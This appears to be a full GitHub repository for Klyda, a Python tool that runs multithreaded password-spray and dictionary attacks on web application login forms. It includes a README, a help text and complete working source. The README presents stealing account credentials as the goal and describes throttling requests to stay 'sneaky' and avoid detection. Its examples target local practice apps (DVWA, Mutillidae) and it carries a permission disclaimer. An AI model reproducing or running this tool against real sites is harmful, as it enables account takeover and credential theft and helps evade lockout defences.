├── LICENSE ├── README.md ├── contributers.txt ├── img ├── example.png └── fronticon.png ├── klyda.py └── klyda ├── bruter.py ├── color.py ├── etc.py ├── main.py ├── networking.py └── parsing.py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Xeonrx 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | 3 |

4 | 5 | The Klyda project has been created to aid in quick credential based attacks against online web applications.
6 | Klyda supports the use from simple password sprays, to large multithreaded dictionary attacks. 7 | 8 | Klyda is a new project, and I am looking for any contributions. Any help is very appreciated.
9 | Klyda offers simple, easy to remember usage; however, still offers configurability for your needs: 10 | - Mulithreaded tasks 11 | - Combine wordlists for larger scale attacks 12 | - Blacklisting data to narrow down results 13 | - Limit thread speed for sneaky purposes 14 | 15 |

16 | 17 |

18 | 19 | # Installation & Usage 20 | **1)** Clone the Git repo to your machine, `git clone https://github.com/Xeonrx/Klyda`
21 | **2)** Cd into the Klyda directory, `cd Klyda`
22 | **3)** Install the neccessary modules via Pip, `pip install requests beautifulsoup4 colorama numpy`
23 | **4)** Display the Klyda help prompt for usage, `python3 klyda.py -h` 24 | 25 | >Klyda has been mainly designed for Linux, but should work on any machine capable of running Python. 26 | 27 | What Klyda needs to work are only four simple dependencies: URL to attack, username(s), password(s), and formdata. 28 | ## The URL 29 | You can parse the URL via the ``--url`` tag. It should look something like this, `--url http://127.0.0.1`
30 | Remember to **never** launch an attack on a webpage, that you don't have proper permission to do so. 31 | ## Usernames 32 | Usernames are the main target to these dictionary attacks. It could be a whole range of usernames, a few in specific, or perhaps just one. 33 | That's all your decision when using the script. You can specify usernames in a few ways... 34 | 35 | **1)** Specify them manually, `-u Admin User123 Guest`
36 | **2)** Give a file to use, or a few to combine, `-U users.txt extra.txt`
37 | **3)** Give both a file & manual entry, `-U users.txt -u Johnson924` 38 | ## Passwords 39 | Passwords are the hard part to these attacks. You don't know them, hence why dictionary & brute force attacks exists. Like the usernames, you can 40 | give from just one password, up to however many you want. You can specify passwords in a few ways... 41 | 42 | **1)** Specify them manually, `-p password 1234 letmein`
43 | **2)** Give a file to use, or a few to combine, `-P passwords.txt extra.txt`
44 | **3)** Give both a file & manual entry, `-P passwords.txt -p redklyda24` 45 | ## FormData 46 | FormData is how you form the request, so the target website can take it in, and process the given information. Usually you would need to specify a: username value, a password value, and sometimes an extra value. You can see the FormData your target uses by reviewing the network tab, of your browsers inspect element. For Klyda, you use the `-d` tag.
47 | 48 | You need to use placeholders to Klyda knows where to inject in the username & password, when fowarding out its requests. It may look something like this... 49 | `-d username:xuser password:xpass Login:Login` 50 | 51 | `xuser` is the placeholder to inject the usernames, & `xpass` is the placeholder to inject the passwords. Make sure you know these, or Klyda won't be able to work. 52 | 53 | Format the FormData as `(key):(value)` 54 | 55 | ## Blacklists 56 | In order to Klyda to know if it hit a successful strike or not, you need to give it data to dig through. Klyda takes use of given blacklists from failed login attempts, so it can tell the difference between a failed or complete request. You can blacklist three different types of data... 57 | 58 | **1)** Strings, `--bstr "Login failed"`
59 | **2)** Status Codes, `--bcde 404`
60 | **3)** Content Length, `--blen 11` 61 | 62 | You can specify as much data for each blacklist as needed. If any of the given data is not found from the response, Klyda gives it a "strike", saying 63 | it was a successful login attempt. Otherwise if data in the blacklists is found, Klyda marks it as an unsuccessful login attempt. 64 | Since you give the data for Klyda to evaluate, false positives are non-apparent. 65 | 66 | >If you don't give any data to blacklist, then every request will be marked as a strike from Klyda! 67 | 68 | ## Rate limiting & Threads 69 | By default, Klyda only uses a single thread to run; but, you can specify more, using the `-t` tag. This can be helpful for speeding up your work. 70 | 71 | However, credential attacks can be **very** loud on a network; hence, are detected easily. A targeted account could simply just receieve a simple lock due to too many 72 | login attempts. This creates a DoS attack, but prevents you from gaining the users's credentials, which is the goal of Klyda. 73 | 74 | So to make these attacks a little less loud, you can take use of the `--rate` tag. This allows you to limit your threads to a certain number of requests per minute.
75 | It will be formatted like this, `--rate (# of requests) (minutes)` 76 | 77 | For example, `--rate 5 1` will only send out 5 requests for each minute. Remember, this is for each thread. If you had 2 threads, this would send 10 requests per minute. 78 | 79 | ## Example 80 | Test Klyda out on the Damn Vulnerable Web App (DVWA), or Mutillidae. 81 | 82 | `python3 klyda.py --url http://127.0.0.1/dvwa/login.php -u user guest admin -p 1234 password admin -d username:xuser password:xpass Login:Login --bstr "Login failed"` 83 | 84 | `python3 klyda.py --url http://127.0.0.1/mutillidae/index.php?page=login.php -u root -P passwords.txt -d username:xuser password:xpass login-php-submit-button:Login --bstr "Authentication Error"` 85 | 86 | ## The Future 87 | Like mentioned earlier, Klyda is still a work in progress. For the future, I plan on adding more functionality and reformating code for a cleaner look. 88 | 89 | My top piority is to add proxy functionality, and am currently working on it. 90 | -------------------------------------------------------------------------------- /contributers.txt: -------------------------------------------------------------------------------- 1 | If your submitting a contribution to the Klyda project, drop your name here for some creditability :) 2 | 3 | Xeonrx 4 | 5 | -------------------------------------------------------------------------------- /img/example.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hcbaker/Klyda/1f283f3a2bad79762491427e47c71f1db76daafd/img/example.png -------------------------------------------------------------------------------- /img/fronticon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hcbaker/Klyda/1f283f3a2bad79762491427e47c71f1db76daafd/img/fronticon.png -------------------------------------------------------------------------------- /klyda.py: -------------------------------------------------------------------------------- 1 | import sys, os 2 | 3 | if __name__ == "__main__": 4 | sys.path.append(f'{os.path.abspath(os.getcwd())}/klyda');import main 5 | main.Klyda() 6 | 7 | # Version v1.0.1, leaded by Xeonrx 8 | -------------------------------------------------------------------------------- /klyda/bruter.py: -------------------------------------------------------------------------------- 1 | import networking, time, copy, numpy, etc 2 | from color import * 3 | from parsing import args 4 | 5 | def splitlist(usernames,passwords): # splits larger list into chunks for each thread, and returns the larger list 6 | if len(usernames) >= len(passwords): 7 | usernames = numpy.array_split(usernames, args.threads);biggerlist = True 8 | else: 9 | passwords = numpy.array_split(passwords, args.threads);biggerlist = False 10 | return usernames, passwords, biggerlist 11 | 12 | def attacker(usernames,passwords,params): # cycles through given credentials to find successful strikes 13 | threshold = args.rate[0] 14 | for a in usernames: 15 | for b in passwords: 16 | if threshold == 0: 17 | time.sleep(args.rate[1]*60) 18 | threshold = args.rate[0] 19 | threshold -= 1 20 | strike = True 21 | payload = copy.deepcopy(params) 22 | for key, value in payload.items(): 23 | if value == "xuser": 24 | payload[key] = a 25 | elif value == "xpass": 26 | payload[key] = b 27 | code, length, content = networking.sendreq(payload) 28 | 29 | output = "#" + str(etc.requests).rjust(7,"0") + " " + str(code).ljust(4," ") + str(length).ljust(3," ") + " " +f"{a}:{b}" 30 | if args.bstr: 31 | for i in args.bstr: 32 | if i in content.text: 33 | strike = False 34 | if args.bcde: 35 | if code in args.bcde: 36 | strike = False 37 | if args.blen: 38 | if length in args.blen: 39 | strike = False 40 | if strike == True: 41 | etc.strikes += 1 42 | output = f"[{G}+{X}] " + output 43 | etc.strikecombos.append(output) 44 | else: 45 | output = f"[{R}-{X}] " + output 46 | print("|" + output.ljust(args.border+9," ") + "|") 47 | 48 | -------------------------------------------------------------------------------- /klyda/color.py: -------------------------------------------------------------------------------- 1 | from colorama import init, Fore 2 | 3 | init() 4 | R = Fore.RED 5 | G = Fore.GREEN 6 | X = Fore.RESET -------------------------------------------------------------------------------- /klyda/etc.py: -------------------------------------------------------------------------------- 1 | import datetime 2 | from parsing import args 3 | from etc import * 4 | 5 | def summary(): # prints summary of attack once finished, or if stopped 6 | print(f"+-[{current()}:KLYDA STRIKES]".ljust(args.border,"-") + "+" + "\n" + "|".ljust(args.border," ") + "|") 7 | for i in strikecombos: 8 | print(("|" + i).ljust(args.border+10," ") + "|") 9 | print(f"+-[{current()}:STAT SUMMARY]".ljust(args.border,"-") + "+" + "\n" + "|".ljust(args.border," ") + "|") 10 | print(("|requests : " + str(requests)).ljust(args.border," ") + "|") 11 | print(("|strikes : " + str(strikes)).ljust(args.border," ") + "|") 12 | print(("|percent : " + str(strikes/requests*100) + "%").ljust(args.border," ") + "|") 13 | exit("+".ljust(args.border,"-") + "+") 14 | 15 | def current(): # fetches current time 16 | time = datetime.datetime.now() 17 | return time.strftime("%H:%M:%S") 18 | 19 | banner = """ 20 | 21 | ( /(( ( 22 | _ _ )\())\( )\ ) ) 23 | | \_____/ | ((_)((_)\ ) (()/(( /( 24 | | |)_ ((_)(()/( ((_))(_)) ) 25 | | X X || |/ / |)(_)) _| ((_)_ ( (()/ ( 26 | | || ' <| | || / _` / _` |) (_)) )) 27 | |_________||_|\_\_|\_, \__,_\__,_| [v1.0.1] 28 | |__/ \n""" 29 | # ASCII art from http://www.patorjk.com/ 30 | 31 | strikecombos = [] 32 | requests = 0 33 | strikes = 0 34 | -------------------------------------------------------------------------------- /klyda/main.py: -------------------------------------------------------------------------------- 1 | import bruter, etc, networking 2 | from parsing import args, helpme 3 | from threading import Thread 4 | 5 | def Klyda(): 6 | if args.help:# if -h 7 | exit(print(helpme())) 8 | print(etc.banner) 9 | 10 | usernames, passwords, threads, formdata = [],[],[],{} 11 | if not args.url: 12 | exit("(ABORT) No target URL has been specified? Use -h for Klyda usage.\n") 13 | if not args.username and not args.usernamefile: 14 | exit("(ABORT) No usernames have been specified? Use -h for Klyda usage.\n") 15 | if not args.password and not args.passwordfile: 16 | exit("(ABORT) No passwords have been specified? Use -h for Klyda usage.\n") 17 | if not args.formdata: 18 | exit("(ABORT) No formdata has been specified? Use -h for Klyda usage.\n") 19 | 20 | for i in args.formdata: 21 | key, value = i.split(":");formdata[key] = value 22 | 23 | if args.username: 24 | for i in args.username: 25 | usernames.append(i) 26 | if args.usernamefile: 27 | for i in args.usernamefile: 28 | try: 29 | with open(i,"r", encoding = "ISO-8859-1") as f: 30 | for a in f.readlines(): 31 | usernames.append(a.replace("\n","")) 32 | except: 33 | exit("(ABORT) Klyda couldn't locate file, " + i) 34 | if args.password: 35 | for i in args.password: 36 | passwords.append(i) 37 | if args.passwordfile: 38 | for i in args.passwordfile: 39 | try: 40 | with open(i,"r", encoding = "ISO-8859-1") as f: 41 | for a in f.readlines(): 42 | passwords.append(a.replace("\n","")) 43 | except: 44 | exit("(ABORT) Klyda couldn't locate file, " + i) 45 | 46 | usernames, passwords, biggerlist = bruter.splitlist(usernames,passwords) 47 | if networking.validate() == False: 48 | exit("(ABORT) Couldn't reach the target URL? It may of gone offline...\n") 49 | 50 | print(f"+-[{etc.current()}:REQUEST LOG]".ljust(args.border,"-") + "+" + "\n" + "|".ljust(args.border," ") + "|") 51 | if biggerlist == True: 52 | try: 53 | for i in usernames: 54 | t = Thread(target=bruter.attacker, args=(i,passwords,formdata,)) 55 | threads.append(t) 56 | t.start() 57 | for t in threads: 58 | t.join() 59 | except KeyboardInterrupt: 60 | etc.summary() 61 | else: 62 | try: 63 | for i in passwords: 64 | t = Thread(target=bruter.attacker, args=(usernames,i,formdata,)) 65 | threads.append(t) 66 | t.start() 67 | for t in threads: 68 | t.join() 69 | except KeyboardInterrupt: 70 | etc.summary() 71 | etc.summary() -------------------------------------------------------------------------------- /klyda/networking.py: -------------------------------------------------------------------------------- 1 | import requests, etc 2 | from parsing import args 3 | from bs4 import BeautifulSoup 4 | 5 | def validate(): # checks if targeted url is online 6 | try: 7 | r = requests.get(args.url, timeout=args.timeout) 8 | if r.status_code == 200: 9 | return True 10 | except: 11 | return False 12 | 13 | def sendreq(data): # sends request to target url 14 | r = requests.post(args.url, data=data, timeout=args.timeout) 15 | soup = BeautifulSoup(r.content , 'html.parser') 16 | etc.requests +=1 17 | return r.status_code, len(soup), soup -------------------------------------------------------------------------------- /klyda/parsing.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | def options(): # avaible options/usage for Klyda 3 | parser = argparse.ArgumentParser(add_help=False) 4 | parser.add_argument("-h","--help",action="store_true",help="Display help and usage") 5 | parser.add_argument("--url",type=str,help="Target url") 6 | parser.add_argument("-d","--formdata",type=str,nargs="+",help="Formdata to foward requests. format as (key:value)") 7 | parser.add_argument("-u","--username",type=str,nargs="+",help="Targeted username(s)") 8 | parser.add_argument("-U","--usernamefile",type=str,nargs="+",help="Targeted file of usernames") 9 | parser.add_argument("-p","--password",type=str,nargs="+",help="Given password(s)") 10 | parser.add_argument("-P","--passwordfile",type=str,nargs="+",help="Given list of passwords") 11 | parser.add_argument("-t","--threads",type=int,default=1,help="Given amount of threads to spawn (deafult 1)") 12 | parser.add_argument("-b","--border",type=int,default=75,help="Adjust length of border (default 75 characters)") 13 | 14 | parser.add_argument("--bstr",type=str,nargs="+",default=[],help="Blacklist given strings from output") 15 | parser.add_argument("--bcde",type=int,nargs="+",default=[],help="Blacklist given request codes from output") 16 | parser.add_argument("--blen",type=int,nargs="+",default=[],help="Blacklist given content lengths from output") 17 | 18 | parser.add_argument("--rate",type=int,nargs=2,default=[100,0],help="Rate of requests per minute, format as (requests minutes)") 19 | parser.add_argument("-tm","--timeout",type=int,default=4,help="Seconds for request timeout (deafult 4s)") 20 | 21 | return parser.parse_args() 22 | 23 | def helpme(name=None): # klyda help prompt 24 | return """ 25 | █▄ ▄█ 26 | ████████████ Klyda : version 1.0.1 27 | ██ ████ ██ Author : https://github.com/Xeonrx 28 | ████████████ Source : https://github.com/Xeonrx/Klyda 29 | ████████████ 30 | ████████████ 31 | Klyda is a Python project designed to simplify 32 | the use of dictionary/spray attacks on web applications, 33 | 34 | Klyda is meant for security/testing purposes, and proper 35 | permission MUST be given before an attack. This script 36 | doesn't exist for the intention of malicious purpose, and 37 | no one is repsonsible for any legal precussions but yourself! 38 | 39 | > If any malfunctions/bugs are apparent, please submit an issue request here: 40 | (https://github.com/Xeonrx/Klyda/issues) 41 | 42 | > I encourge anyone to contibute to the Klyda project. Please do so here: 43 | (https://github.com/Xeonrx/Klyda/pulls) 44 | 45 | > Klyda is still a work in progress. Check GitHub for future updates & plans. 46 | 47 | 48 | [KLYDA USAGE]: 49 | -h / --help (Display help prompt for klyda usage) 50 | 51 | --url (Targeted URL for Klyda to attack) ex. --url http://127.0.0.1 52 | -d / --data (Needed data to send requests through. Format as key:value) ex. -d username:xuser password:xpass login:login 53 | -t / --threads (Number of processes used to run the attack, default is 1) ex. -t 2 54 | -b / --border (Adjust the border size of Klyda output, default is 77 characters) ex. -b 45 55 | -tm / --timeout (Adjust the seconds for a request timeout, default is 4 seconds) ex. -tm 2 56 | 57 | -u / --username (Username(s) to target in attack, can range from 1 to whatever) ex. -u admin guest user 58 | -U / --usernamefile (File of usernames to target in attack, can range from 1 to whatever. Can be combined with -u) ex. -U users.txt list.txt 59 | -p / --password (Passwords(s) to use in attack, can range from 1 to whatever) ex. -p password 1234 letmein 60 | -P / --passwordfile (File of passwords to use in attack, can range from 1 to whatever. Can be combined with -p) ex. -P common.txt pass.txt 61 | 62 | --rate (Control each thread by number of requests per given minutes, for quiet purporses) ex. --rate 10 1 (10 requets per 1 minute) 63 | --bstr (Block given strings from output, to narrow down results, can range from 1 to whatever) ex. --bstr "Login failed" "Try again" 64 | --bcde (Block given request codes from output, to narrow down results, can range from 1 to whatever) ex. --bcde 404 403 65 | --blen (Block given request lengths from output, to narrow down results, can range from 1 to whatever) ex. --blen 6 9 66 | 67 | [KLYDA EXAMPLES]: (examples are based off of the Damn Vulnerable Web App & Mutillidae, which are purpously designed vulnerable servers) 68 | python3 klyda.py --url http://127.0.0.1/dvwa/login.php -u user guest admin -p 1234 password admin -d username:xuser password:xpass Login:Login --bstr "Login failed" 69 | python3 klyda.py --url http://127.0.0.1/mutillidae/index.php?page=login.php -u root -P passwords.txt -d username:xuser password:xpass login-php-submit-button:Login --bstr "Authentication Error" 70 | """ 71 | 72 | args = options() 73 | --------------------------------------------------------------------------------